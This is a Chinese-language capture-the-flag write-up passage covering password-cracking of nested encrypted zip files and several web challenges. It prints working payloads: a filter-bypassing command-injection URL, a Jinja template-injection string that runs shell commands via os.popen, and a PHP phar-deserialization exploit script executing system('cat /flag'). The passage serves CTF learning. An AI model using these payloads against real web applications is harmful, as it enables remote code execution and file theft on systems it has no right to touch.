怎么出现我的名字了(雾

解压之后,有一个txt和一个压缩包

1
2
3
4
5
6
Ye***: You don't want to get my password!
Mystery man: Oh! I can. I can. I can even get your secrets.
Ye***: Do not! You can't!
Mystery man: How do you know if you don't try it?
Mystery man: I will get your secret. Certainly...
Ye***: Please don't! Please...

txt里有这个神奇(?的对话

然后看看加密压缩包

1666614872710

rockyou是啥,百度了一下,发现是一个kali里自带的字典

切换到/usr/share/wordlists文件夹,ls发现下面有一个rockyou.txt.gz

用gzip -d命令解压,再copy到本地

1666619123154

密码为elamordemividaerestu

然后解压,又是一个加密压缩包……

1666619218608

不过,我们这次获得了密码的一部分,可以选择写个脚本来获得字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import string

table = string.ascii_lowercase + string.digits
print(table)
l = []


for a in table:
for b in table:
for c in table:
for d in table:
for e in table:
password = '%s%s%s%s%s_1s_sha0O'%(a,b,c,d,e)
l.append(password)


print(len(l))
with open('dc.txt','w') as f:
for password in l:
f.write(password + '\n')

等待片刻便可获得一个字典,然后爆破,发现是yesec_1s_sha0O(早有预料是yesec了)

当然也可以直接掩码攻击

1666619708244

1666619781005

可以看到,zip和之前的dialogue.txt的crc一样,所以我们进行明文攻击

把dialogue.txt压缩成zip压缩包,然后拖进去即可

1666674923700

这里会遇到一些报错

1666674957365

这是因为明文攻击的时候没有先选明文文件再拖加密文件,其实没有什么影响,出现这个报错也没事

img

出现这种报错是因为我们的明文文件zip的压缩格式和加密文件压缩格式不同

![img](file:///G:\360MoveData\Users\star dust\Documents\Tencent Files\2694205849\Image\C2C\Image1\8X8$`_F@7SZ[~_Y1A5MI][9.png)

在我们的winrar里可以改,但是这道题都不行,我们得用另一个方式得到zip文件才能用

1666675103169

然后我们开始明文攻击,这里不需要等到他破解完口令,等他搜索完密钥之后直接取消即可,然后我们就可以获得密钥了

1666675160573

点右边这个锁(使用这些密钥解锁zip档案文件),我们就可以得到一个解密后的压缩包

直接解压即可

1666675243799

最后一层套娃了

“虚假的坚硬外壳”提示已经很明显了,这是一个伪加密

我们直接010打开,搜504B0102,把每个这个的后的第9,10个改成00即可(从50开始数)

混沌的图像

EMMM暂时没看懂

Week4

Web

So Baby RCE

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}

一个rce

直接ls,可以看到只有index.php

和之前不一样,不能直接去根目录找了,所以只能一步步cd回去然后ls看看有没有我们需要的flag

注意这边分号被过滤,得用%0a绕过

空格被过滤,得用%09绕过

fl被过滤直接glob匹配用?代替单个字符即可

cat被过滤可以用tac,more,less等,这边可以用sort来绕过

所以最后构造payload:

1
/?cmd=cd%09..%0acd%09..%0acd%09..%0asort%09ffff?lllaaaaggggg

BabySSTI_Two

1
name={{s1eepingfish.__getattribute__('__i'+'nit__').__globals__.__builtins__['__import__']('os').popen('tac /f*').read()}}

上一周的ssti是这么绕的,但是这次多过滤了getattribute等函数,所以得用别的方法绕过

经过测试后,发现可以用replace函数

1
?name={{self['__inAit__'|replace('A','')]['__globAals__'|replace('A','')]['__bAuiltins__'|replace('A','')]['__impoArt__'|replace('A','')]('os')['popeAn'|replace('A','')]('tac%09/f*').read()}}

UnserializeThree

PHP反序列化漏洞系列第三题。当文件上传遇到反序列化,擦出爱(RCE)的火花

文件上传+反序列化,显然是phar了

1666871977324

f12之后,在源码里面看到了class.php的hint,访问了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
}

file_exists($_GET['file']);

这个反序列化只有一个析构的魔术方法,不过要绕过一些东西

这里有一个对phar的介绍phar反序列化 - My_Dreams - 博客园 (cnblogs.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class Evil
{
public $cmd="\rsystem('cat /flag');";
}

$a = new Evil();

$phar = new Phar("test.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");

$phar -> setMetadata($a);

$phar -> addFromString("test.txt", "test");
$phar -> stopBuffering();

直接把phar交上去不太行,改后缀为gif之后可以了

给了上传后的地址upload/daf280af792fd5b906511363ae2bc39d.gif

所以我们用phar协议,/class.php?file=phar://upload/daf280af792fd5b906511363ae2bc39d.gif

我在index.php里面文件包含卡了好久……

又一个SQL

misc